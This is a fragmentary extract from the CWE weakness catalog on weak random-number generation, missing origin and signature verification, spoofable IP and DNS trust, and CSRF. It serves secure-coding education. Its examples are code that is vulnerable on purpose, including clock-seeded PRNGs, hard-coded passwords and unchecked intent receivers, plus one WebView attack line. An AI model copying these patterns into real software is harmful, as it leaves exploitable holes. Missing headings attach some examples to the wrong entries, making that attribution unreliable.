Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Use functions or hardware which use a hardware-based random number generation for all crypto. This is the recommended solution. Use CyptGenRandom on Windows, or hw_rand() on Linux.

Demonstrative Examples

Example 1:

Both of these examples use a statistical PRNG seeded with the current value of the system clock to generate a random number:

Example Language: Java *(Bad)*

```
Random random = new Random(System.currentTimeMillis());
int accountID = random.nextInt();
```

Example Language: C *(Bad)*

```
srand(time());
int randNum = rand();
```

The random number functions used in these examples, rand() and Random.nextInt(), are not considered cryptographically strong. An attacker may be able to predict the random numbers generated by these functions. Note that these example also exhibit CWE-337 (Predictable Seed in PRNG).

Observed Examples

Reference	Description
CVE-2021-3692	PHP framework uses mt_rand() function (Marsenne Twister) when generating tokens *https://www.cve.org/CVERecord?id=CVE-2021-3692*
CVE-2009-3278	Crypto product uses rand() library function to generate a recovery key, making it easier to conduct brute force attacks. *https://www.cve.org/CVERecord?id=CVE-2009-3278*
CVE-2009-3238	Random number generator can repeatedly generate the same value. *https://www.cve.org/CVERecord?id=CVE-2009-3238*
CVE-2009-2367	Web application generates predictable session IDs, allowing session hijacking. *https://www.cve.org/CVERecord?id=CVE-2009-2367*
CVE-2008-0166	SSL library uses a weak random number generator that only generates 65,536 unique keys. *https://www.cve.org/CVERecord?id=CVE-2008-0166*

CWE-339: Small Seed Space in PRNG

Weakness ID : 339
Structure : Simple
Abstraction : Variant

Description

A Pseudo-Random Number Generator (PRNG) uses a relatively small seed space, which makes it more susceptible to brute force attacks.

Extended Description

PRNGs are entirely deterministic once seeded, so it should be extremely difficult to guess the seed. If an attacker can collect the outputs of a PRNG and then brute force the seed by trying every possibility to see which seed matches the observed output, then the attacker will know the output of any subsequent calls to the PRNG. A small seed space implies that the attacker will have far fewer possible values to try to exhaust all possibilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	335	Incorrect Usage of Seeds in Pseudo-Random Number Generator (PRNG)	837
PeerOf	B	341	Predictable from Observable State	851

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1013	Encrypt Data	2465

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context	

Potential Mitigations

Phase: Architecture and Design

Use well vetted pseudo-random number generating algorithms with adequate length seeds. Pseudo-random number generators can produce predictable numbers if the generator is known and the seed can be guessed. A 256-bit seed is a good starting point for producing a "random enough" number.

Phase: Architecture and Design

Phase: Requirements

Strategy = Libraries or Frameworks

Use products or modules that conform to FIPS 140-2 [REF-267] to avoid obvious entropy problems, or use the more recent FIPS 140-3 [REF-1192] if possible.

Demonstrative Examples

Example 1:

This code grabs some random bytes and uses them for a seed in a PRNG, in order to generate a new cryptographic key.

Example Language: Python *(Bad)*

```
# getting 2 bytes of randomness for the seeding the PRNG
seed = os.urandom(2)
random.seed(a=seed)
key = random.getrandbits(128)
```

Since only 2 bytes are used as a seed, an attacker will only need to guess 2^16 (65,536) values before being able to replicate the state of the PRNG.

Observed Examples

Reference	Description
CVE-2019-10908	product generates passwords via org.apache.commons.lang.RandomStringUtils, which uses java.util.Random internally. This PRNG has only a 48-bit seed. *https://www.cve.org/CVERecord?id=CVE-2019-10908*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-340: Generation of Predictable Numbers or Identifiers

Weakness ID : 340
Structure : Simple
Abstraction : Class

Description

The product uses a scheme that generates numbers or identifiers that are more predictable than required.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	330	Use of Insufficiently Random Values	822
ParentOf	B	341	Predictable from Observable State	851
ParentOf	B	342	Predictable Exact Value from Previous Values	853
ParentOf	B	343	Predictable Value Range from Previous Values	855
CanPrecede		384	Session Fixation	945

Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context	

Demonstrative Examples

Example 1:

This code generates a unique random identifier for a user's session.

Example Language: PHP *(Bad)*

```
function generateSessionID($userID){
   srand($userID);
   return rand();
}
```

Because the seed for the PRNG is always the user's ID, the session ID will always be the same. An attacker could thus predict any user's session ID and potentially hijack the session.

This example also exhibits a Small Seed Space (CWE-339).

Observed Examples

Reference	Description
CVE-2022-29330	Product for administering PBX systems uses predictable identifiers and timestamps for filenames (CWE-340) which allows attackers to access files via direct request (CWE-425). *https://www.cve.org/CVERecord?id=CVE-2022-29330*

Reference	Description
CVE-2001-1141	PRNG allows attackers to use the output of small PRNG requests to determine the internal state information, which could be used by attackers to predict future pseudo-random numbers. *https://www.cve.org/CVERecord?id=CVE-2001-1141*
CVE-1999-0074	Listening TCP ports are sequentially allocated, allowing spoofing attacks. *https://www.cve.org/CVERecord?id=CVE-1999-0074*

PeerOf		339	Small Seed Space in PRNG	848

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	2462

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1213	Random Number Issues	2514

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context *This weakness could be exploited by an attacker in a number ways depending on the context. If a predictable number is used to generate IDs or keys that are used within protection mechanisms, then an attacker could gain unauthorized access to the system. If predictable filenames are used for storing sensitive information, then an attacker might gain access to the system and may be able to gain access to the information in the file.*	

Potential Mitigations

Phase: Implementation

Increase the entropy used to seed a PRNG.

Phase: Architecture and Design

Phase: Requirements

Strategy = Libraries or Frameworks

Use products or modules that conform to FIPS 140-2 [REF-267] to avoid obvious entropy problems. Consult FIPS 140-2 Annex C ("Approved Random Number Generators").

Phase: Implementation

Use a PRNG that periodically re-seeds itself using input from high-quality sources, such as hardware devices with high entropy. However, do not re-seed too frequently, or else the entropy source might block.

Demonstrative Examples

Example 1:

This code generates a unique random identifier for a user's session.

Example Language: PHP *(Bad)*

```
function generateSessionID($userID){
   srand($userID);
   return rand();
}
```

Because the seed for the PRNG is always the user's ID, the session ID will always be the same. An attacker could thus predict any user's session ID and potentially hijack the session.

This example also exhibits a Small Seed Space (CWE-339).

Observed Examples

Reference	Description
CVE-2002-0389	Mail server stores private mail messages with predictable filenames in a world-executable directory, which allows local users to read private mailing list archives. *https://www.cve.org/CVERecord?id=CVE-2002-0389*

CWE-342: Predictable Exact Value from Previous Values

Weakness ID : 342

Structure : Simple
Abstraction : Base

Description

An exact value or random number can be precisely predicted by observing previous values.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1213	Random Number Issues	2514

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context	

Potential Mitigations

Increase the entropy used to seed a PRNG.

Phase: Architecture and Design

Phase: Requirements

Strategy = Libraries or Frameworks

Use products or modules that conform to FIPS 140-2 [REF-267] to avoid obvious entropy problems. Consult FIPS 140-2 Annex C ("Approved Random Number Generators").

Phase: Implementation

Use a PRNG that periodically re-seeds itself using input from high-quality sources, such as hardware devices with high entropy. However, do not re-seed too frequently, or else the entropy source might block.

Observed Examples

Reference	Description
CVE-2002-1463	Firewall generates easily predictable initial sequence numbers (ISN), which allows remote attackers to spoof connections. *https://www.cve.org/CVERecord?id=CVE-2002-1463*
CVE-1999-0074	Listening TCP ports are sequentially allocated, allowing spoofing attacks. *https://www.cve.org/CVERecord?id=CVE-1999-0074*
CVE-1999-0077	Predictable TCP sequence numbers allow spoofing. *https://www.cve.org/CVERecord?id=CVE-1999-0077*
CVE-2000-0335	DNS resolver uses predictable IDs, allowing a local user to spoof DNS query results. *https://www.cve.org/CVERecord?id=CVE-2000-0335*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	905	SFP Primary Cluster: Predictability	888	2425
MemberOf	C	1414	Comprehensive Categorization: Randomness	1400	2580

Notes

Maintenance

As of CWE 4.5, terminology related to randomness, entropy, and predictability can vary widely. Within the developer and other communities, "randomness" is used heavily. However, within cryptography, "entropy" is distinct, typically implied as a measurement. There are no commonly-used definitions, even within standards documents and cryptography papers. Future versions of CWE will attempt to define these terms and, if necessary, distinguish between them in ways that are appropriate for different communities but do not reduce the usability of CWE for mapping, understanding, or other scenarios.

CWE-343: Predictable Value Range from Previous Values

Weakness ID : 343
Structure : Simple
Abstraction : Base

Description

The product's random number generator produces a series of values which, when observed, can be used to infer a relatively small range of possibilities for the next value that could be generated.

Extended Description

The output of a random number generator should not be predictable based on observations of previous values. In some cases, an attacker cannot predict the exact value that will be produced next, but can narrow down the possibilities significantly. This reduces the amount of effort to perform a brute force attack. For example, suppose the product generates random numbers between 1 and 100, but it always produces a larger value until it reaches 100. If the generator produces an 80, then the attacker knows that the next value will be somewhere between 81 and 100. Instead of 100 possibilities, the attacker only needs to consider 20.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-344: Use of Invariant Value in Dynamically Changing Context

Weakness ID : 344
Structure : Simple
Abstraction : Base

Description

The product uses a constant value, name, or reference, but this value can (or should) vary across different environments.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	330	Use of Insufficiently Random Values	822
ParentOf	B	323	Reusing a Nonce, Key Pair in Encryption	798
ParentOf	V	587	Assignment of a Fixed Address to a Pointer	1333
ParentOf	B	798	Use of Hard-coded Credentials	1703

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1213	Random Number Issues	2514

Weakness Ordinalities

Primary :

Resultant :

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context	

Demonstrative Examples

Example 1:

The following code is an example of an internal hard-coded password in the back-end:

Example Language: C *(Bad)*

```
int VerifyAdmin(char *password) {
  if (strcmp(password, "Mew!")) {
```

```
    printf("Incorrect Password!\n");
    return(0)
  }
  printf("Entering Diagnostic Mode...\n");
  return(1);
}
```

Example Language: Java *(Bad)*

```
int VerifyAdmin(String password) {
  if (!password.equals("Mew!")) {
    return(0)
  }
  //Diagnostic Mode
  return(1);
}
```

Every instance of this program can be placed into diagnostic mode with the same password. Even worse is the fact that if this program is distributed as a binary-only distribution, it is very difficult to change that password or disable this "functionality."

Example 2:

This code assumes a particular function will always be found at a particular address. It assigns a pointer to that address and calls the function.

Example Language: C *(Bad)*

```
int (*pt2Function) (float, char, char)=0x08040000;
int result2 = (*pt2Function) (12, 'a', 'b');
// Here we can inject code to execute.
```

The same function may not always be found at the same memory address. This could lead to a crash, or an attacker may alter the memory at the expected address, leading to arbitrary code execution.

Observed Examples

Reference	Description
CVE-2002-0980	Component for web browser writes an error message to a known location, which can then be referenced by attackers to process HTML/script in a less restrictive context *https://www.cve.org/CVERecord?id=CVE-2002-0980*

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Technology : ICS/OT *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Varies by Context	
Other	Unexpected State	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Demonstrative Examples

Example 1:

In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were "insecure by design" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications.

Multiple vendors did not sign firmware images.

Observed Examples

Reference	Description
CVE-2022-30260	Distributed Control System (DCS) does not sign firmware images and only relies on insecure checksums for integrity checks *https://www.cve.org/CVERecord?id=CVE-2022-30260*
CVE-2022-30267	Distributed Control System (DCS) does not sign firmware images and only relies on insecure checksums for integrity checks *https://www.cve.org/CVERecord?id=CVE-2022-30267*
CVE-2022-30272	Remote Terminal Unit (RTU) does not use signatures for firmware images and relies on insecure checksums *https://www.cve.org/CVERecord?id=CVE-2022-30272*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

MemberOf	C	1411	Comprehensive Categorization: Insufficient Verification of Data Authenticity	1400	2575

Notes

Relationship

"origin validation" could fall under this.

Maintenance

The specific ways in which the origin is not properly identified should be laid out as separate weaknesses. In some sense, this is more like a category.

Weakness Ordinalities

Primary :

Resultant :

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control Other	Gain Privileges or Assume Identity Varies by Context *An attacker can access any functionality that is inadvertently accessible to the source.*	

Demonstrative Examples

Example 1:

This Android application will remove a user account when it receives an intent to do so:

Example Language: Java *(Bad)*

```
IntentFilter filter = new IntentFilter("com.example.RemoveUser");
MyReceiver receiver = new MyReceiver();
registerReceiver(receiver, filter);
public class DeleteReceiver extends BroadcastReceiver {
   @Override
   public void onReceive(Context context, Intent intent) {
      int userID = intent.getIntExtra("userID");
      destroyUserData(userID);
   }
}
```

This application does not check the origin of the intent, thus allowing any malicious application to remove a user. Always check the origin of an intent, or create an allowlist of trusted applications using the manifest.xml file.

Example 2:

These Android and iOS applications intercept URL loading within a WebView and perform special actions if a particular URL scheme is used, thus allowing the Javascript within the WebView to communicate with the application:

Example Language: Java *(Bad)*

```
// Android
@Override
public boolean shouldOverrideUrlLoading(WebView view, String url){
   if (url.substring(0,14).equalsIgnoreCase("examplescheme:")){
      if(url.substring(14,25).equalsIgnoreCase("getUserInfo")){
         writeDataToView(view, UserData);
         return false;
      }
      else{
         return true;
      }
   }
}
```

Example Language: Objective-C *(Bad)*

```
// iOS
-(BOOL) webView:(UIWebView *)exWebView shouldStartLoadWithRequest:(NSURLRequest *)exRequest navigationType:
(UIWebViewNavigationType)exNavigationType
{
   NSURL *URL = [exRequest URL];
   if ([[URL scheme] isEqualToString:@"exampleScheme"])
   {
      NSString *functionString = [URL resourceSpecifier];
      if ([functionString hasPrefix:@"specialFunction"])
      {
         // Make data available back in webview.
         UIWebView *webView = [self writeDataToView:[URL query]];
      }
      return NO;
   }
   return YES;
}
```

A call into native code can then be initiated by passing parameters within the URL:

Example Language: JavaScript *(Attack)*

```
window.location = examplescheme://method?parameter=value
```

Because the application does not check the source, a malicious website loaded within this WebView has the same access to the API as a trusted site.

Observed Examples

Reference	Description
CVE-2000-1218	DNS server can accept DNS updates from hosts that it did not query, leading to cache poisoning *https://www.cve.org/CVERecord?id=CVE-2000-1218*

MemberOf	C	1411	Comprehensive Categorization: Insufficient Verification of Data Authenticity	1400	2575

Notes

Maintenance

This entry has some significant overlap with other CWE entries and may need some clarification. See terminology notes.

Terminology

The "Origin Validation Error" term was originally used in a 1995 thesis [REF-324]. Although not formally defined, an issue is considered to be an origin validation error if either (1) "an object [accepts] input from an unauthorized subject," or (2) "the system [fails] to properly or completely authenticate a subject." A later section says that an origin validation error can occur when the system (1) "does not properly authenticate a user or process" or (2) "does not properly authenticate the shared data or libraries." The only example provided in the thesis (covered by OSVDB:57615) involves a setuid program running command-line arguments without dropping privileges. So, this definition (and its examples in the thesis) effectively cover other weaknesses such as CWE-287 (Improper Authentication), CWE-285 (Improper Authorization), and CWE-250

(Execution with Unnecessary Privileges). There appears to be little usage of this term today, except in the SecurityFocus vulnerability database, where the term is used for a variety of issues, including web-browser problems that allow violation of the Same Origin Policy and improper validation of the source of an incoming message.

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Demonstrative Examples

Example 1:

In the following code, a JarFile object is created from a downloaded file.

Example Language: Java *(Bad)*

```
File f = new File(downloadedFilePath);
JarFile jf = new JarFile(f);
```

The JAR file that was potentially downloaded from an untrusted source is created without verifying the signature (if present). An alternate constructor that accepts a boolean verify parameter should be used instead.

Observed Examples

Reference	Description
CVE-2002-1796	Does not properly verify signatures for "trusted" entities. *https://www.cve.org/CVERecord?id=CVE-2002-1796*

Reference	Description
CVE-2005-2181	Insufficient verification allows spoofing. *https://www.cve.org/CVERecord?id=CVE-2005-2181*
CVE-2005-2182	Insufficient verification allows spoofing. *https://www.cve.org/CVERecord?id=CVE-2005-2182*
CVE-2002-1706	Accepts a configuration file without a Message Integrity Check (MIC) signature. *https://www.cve.org/CVERecord?id=CVE-2002-1706*

MemberOf Relationships

CWE-348: Use of Less Trusted Source

Weakness ID : 348
Structure : Simple
Abstraction : Base

Description

The product has two different sources of the same data or information, but it uses the source that has less support for verification, is less trusted, or is less resistant to attack.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		345	Insufficient Verification of Data Authenticity	859

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1214	Data Integrity Issues	2514

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism Gain Privileges or Assume Identity *An attacker could utilize the untrusted data source to bypass protection mechanisms and gain access to sensitive data.*	

Demonstrative Examples

Example 1:

This code attempts to limit the access of a page to certain IP Addresses. It checks the 'HTTP_X_FORWARDED_FOR' header in case an authorized user is sending the request through a proxy.

Example Language: PHP *(Bad)*

```
$requestingIP = '0.0.0.0';
if (array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)) {
   $requestingIP = $_SERVER['HTTP_X_FORWARDED_FOR'];
else{
   $requestingIP = $_SERVER['REMOTE_ADDR'];
}
if(in_array($requestingIP,$ipAllowlist)){
   generatePage();
   return;
}
else{
   echo "You are not authorized to view this page";
   return;
}
```

The 'HTTP_X_FORWARDED_FOR' header can be user controlled and so should never be trusted. An attacker can falsify the header to gain access to the page.

This fixed code only trusts the 'REMOTE_ADDR' header and so avoids the issue:

Example Language: PHP *(Good)*

```
$requestingIP = '0.0.0.0';
if (array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)) {
   echo "This application cannot be accessed through a proxy.";
   return;
else{
   $requestingIP = $_SERVER['REMOTE_ADDR'];
}
...
```

Be aware that 'REMOTE_ADDR' can still be spoofed. This may seem useless because the server will send the response to the fake address and not the attacker, but this may still be enough to

conduct an attack. For example, if the generatePage() function in this code is resource intensive, an attacker could flood the server with fake requests using an authorized IP and consume significant resources. This could be a serious DoS attack even though the attacker would never see the page's sensitive content.

Observed Examples

Reference	Description
CVE-2001-0860	Product uses IP address provided by a client, instead of obtaining it from the packet headers, allowing easier spoofing. *https://www.cve.org/CVERecord?id=CVE-2001-0860*
CVE-2004-1950	Web product uses the IP address in the X-Forwarded-For HTTP header instead of a server variable that uses the connecting IP address, allowing filter bypass. *https://www.cve.org/CVERecord?id=CVE-2004-1950*
CVE-2001-0908	Product logs IP address specified by the client instead of obtaining it from the packet headers, allowing information hiding. *https://www.cve.org/CVERecord?id=CVE-2001-0908*
CVE-2006-1126	PHP application uses IP address from X-Forwarded-For HTTP header, instead of REMOTE_ADDR. *https://www.cve.org/CVERecord?id=CVE-2006-1126*

141	Cache Poisoning
142	DNS Cache Poisoning

CWE-350: Reliance on Reverse DNS Resolution for a Security-Critical Action

Weakness ID : 350
Structure : Simple
Abstraction : Variant

Description

The product performs reverse DNS resolution on an IP address to obtain the hostname and make a security decision, but it does not properly ensure that the IP address is truly associated with the hostname.

Extended Description

Since DNS names can be easily spoofed or misreported, and it may be difficult for the product to detect if a trusted DNS server has been compromised, DNS names do not constitute a valid authentication mechanism.

When the product performs a reverse DNS resolution for an IP address, if an attacker controls the DNS server for that IP address, then the attacker can cause the server to return an arbitrary hostname. As a result, the attacker may be able to bypass authentication, cause the wrong hostname to be recorded in log files to hide activities, or perform other attacks.

Attackers can spoof DNS names by either (1) compromising a DNS server and modifying its records (sometimes called DNS cache poisoning), or (2) having legitimate control over a DNS server associated with their IP address.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	807	Reliance on Untrusted Inputs in a Security Decision	1727
ChildOf	B	290	Authentication Bypass by Spoofing	712
CanPrecede	C	923	Improper Restriction of Communication Channel to Intended Endpoints	1841

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity Bypass Protection Mechanism *Malicious users can fake authentication information by providing false DNS information.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Use other means of identity verification that cannot be simply spoofed. Possibilities include a username/password or certificate.

Phase: Implementation

Perform proper forward and reverse DNS lookups to detect DNS spoofing.

Demonstrative Examples

Example 1:

The following code samples use a DNS lookup in order to decide whether or not an inbound request is from a trusted host. If an attacker can poison the DNS cache, they can gain trusted status.

Example Language: C *(Bad)*

```
struct hostent *hp;struct in_addr myaddr;
char* tHost = "trustme.example.com";
myaddr.s_addr=inet_addr(ip_addr_string);
hp = gethostbyaddr((char *) &myaddr, sizeof(struct in_addr), AF_INET);
if (hp && !strncmp(hp->h_name, tHost, sizeof(tHost))) {
   trusted = true;
} else {
   trusted = false;
}
```

Example Language: Java *(Bad)*

```
String ip = request.getRemoteAddr();
InetAddress addr = InetAddress.getByName(ip);
if (addr.getCanonicalHostName().endsWith("trustme.com")) {
   trusted = true;
}
```

Example Language: C# *(Bad)*

```
IPAddress hostIPAddress = IPAddress.Parse(RemoteIpAddress);
IPHostEntry hostInfo = Dns.GetHostByAddress(hostIPAddress);
if (hostInfo.HostName.EndsWith("trustme.com")) {
   trusted = true;
}
```

IP addresses are more reliable than DNS names, but they can also be spoofed. Attackers can easily forge the source IP address of the packets they send, but response packets will return to the forged IP address. To see the response packets, the attacker has to sniff the traffic between the victim machine and the forged IP address. In order to accomplish the required sniffing, attackers typically attempt to locate themselves on the same subnet as the victim machine. Attackers may be able to circumvent this requirement by using source routing, but source routing is disabled across much of the Internet today. In summary, IP address verification can be a useful part of an authentication scheme, but it should not be the single factor required for authentication.

Example 2:

In these examples, a connection is established if a request is made by a trusted host.

Example Language: C *(Bad)*

```
sd = socket(AF_INET, SOCK_DGRAM, 0);
serv.sin_family = AF_INET;
serv.sin_addr.s_addr = htonl(INADDR_ANY);
servr.sin_port = htons(1008);
bind(sd, (struct sockaddr *) & serv, sizeof(serv));
while (1) {
   memset(msg, 0x0, MAX_MSG);
   clilen = sizeof(cli);
   h=gethostbyname(inet_ntoa(cliAddr.sin_addr));
   if (h->h_name==...) n = recvfrom(sd, msg, MAX_MSG, 0, (struct sockaddr *) & cli, &clilen);
}
```

Example Language: Java *(Bad)*

```
while(true) {
   DatagramPacket rp=new DatagramPacket(rData,rData.length);
   outSock.receive(rp);
   String in = new String(p.getData(),0, rp.getLength());
   InetAddress IPAddress = rp.getAddress();
   int port = rp.getPort();
   if ((rp.getHostName()==...) & (in==...)) {
      out = secret.getBytes();
      DatagramPacket sp =new DatagramPacket(out,out.length, IPAddress, port);
      outSock.send(sp);
   }
}
```

These examples check if a request is from a trusted host before responding to a request, but the code only verifies the hostname as stored in the request packet. An attacker can spoof the hostname, thus impersonating a trusted client.

Observed Examples

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability Non-Repudiation Access Control	Gain Privileges or Assume Identity Bypass Protection Mechanism Read Application Data Modify Application Data DoS: Crash, Exit, or Restart *The consequences will vary depending on the nature of the functionality that is vulnerable to CSRF. An attacker could trick a client into making an unintentional request to the web server via a URL, image load, XMLHttpRequest, etc., which would then be treated as an authentic request from the client - effectively performing any operations as the victim, leading to an exposure of data, unintended code execution, etc. If the victim is an administrator or privileged user, the consequences may include obtaining complete control over the web application - deleting or stealing data, uninstalling the product, or using it to launch other attacks against all of the product's users. Because the attacker has the identity of the victim, the scope of CSRF is limited only by the victim's privileges.*	

Detection Methods

Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. Specifically, manual analysis can be useful for finding this weakness, and for minimizing false positives assuming an understanding of business logic. However, it might not achieve desired code coverage within limited time constraints. For black-box analysis, if credentials are not known for privileged accounts, then the most security-critical portions of the application may not receive sufficient attention. Consider using OWASP CSRFTester to identify potential issues and aid in manual analysis.

Effectiveness = High

These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Automated Static Analysis

CSRF is currently difficult to detect reliably using automated techniques. This is because each application has its own implicit security policy that dictates which requests can be influenced by an outsider and automatically performed on behalf of a user, versus which requests require strong confidence that the user intends to make the request. For example, a keyword search of the public portion of a web site is typically expected to be encoded within a link that can be launched automatically when the user clicks on the link.

Effectiveness = Limited

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Bytecode Weakness Analysis - including disassembler + source code weakness analysis Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness = SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness = SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Highly cost effective: Web Application Scanner

Effectiveness = High

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Highly cost effective: Fuzz Tester Framework-based Fuzzer

Effectiveness = High

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source Manual Source Code Review (not inspections)

Effectiveness = SOAR Partial

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

Effectiveness = SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.) Formal Methods / Correct-By-Construction

Effectiveness = SOAR Partial

Potential Mitigations

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, use anti-CSRF packages such as the OWASP CSRFGuard. [REF-330] Another example is the ESAPI Session Management control, which includes a component for CSRF. [REF-45]

Phase: Implementation

Ensure that the application is free of cross-site scripting issues (CWE-79), because most CSRF defenses can be bypassed using attacker-controlled script.

Phase: Architecture and Design

Generate a unique nonce for each form, place the nonce into the form, and verify the nonce upon receipt of the form. Be sure that the nonce is not predictable (CWE-330). [REF-332]

Phase: Architecture and Design

Identify especially dangerous operations. When the user performs a dangerous operation, send a separate confirmation request to ensure that the user intended to perform that operation.

Phase: Architecture and Design

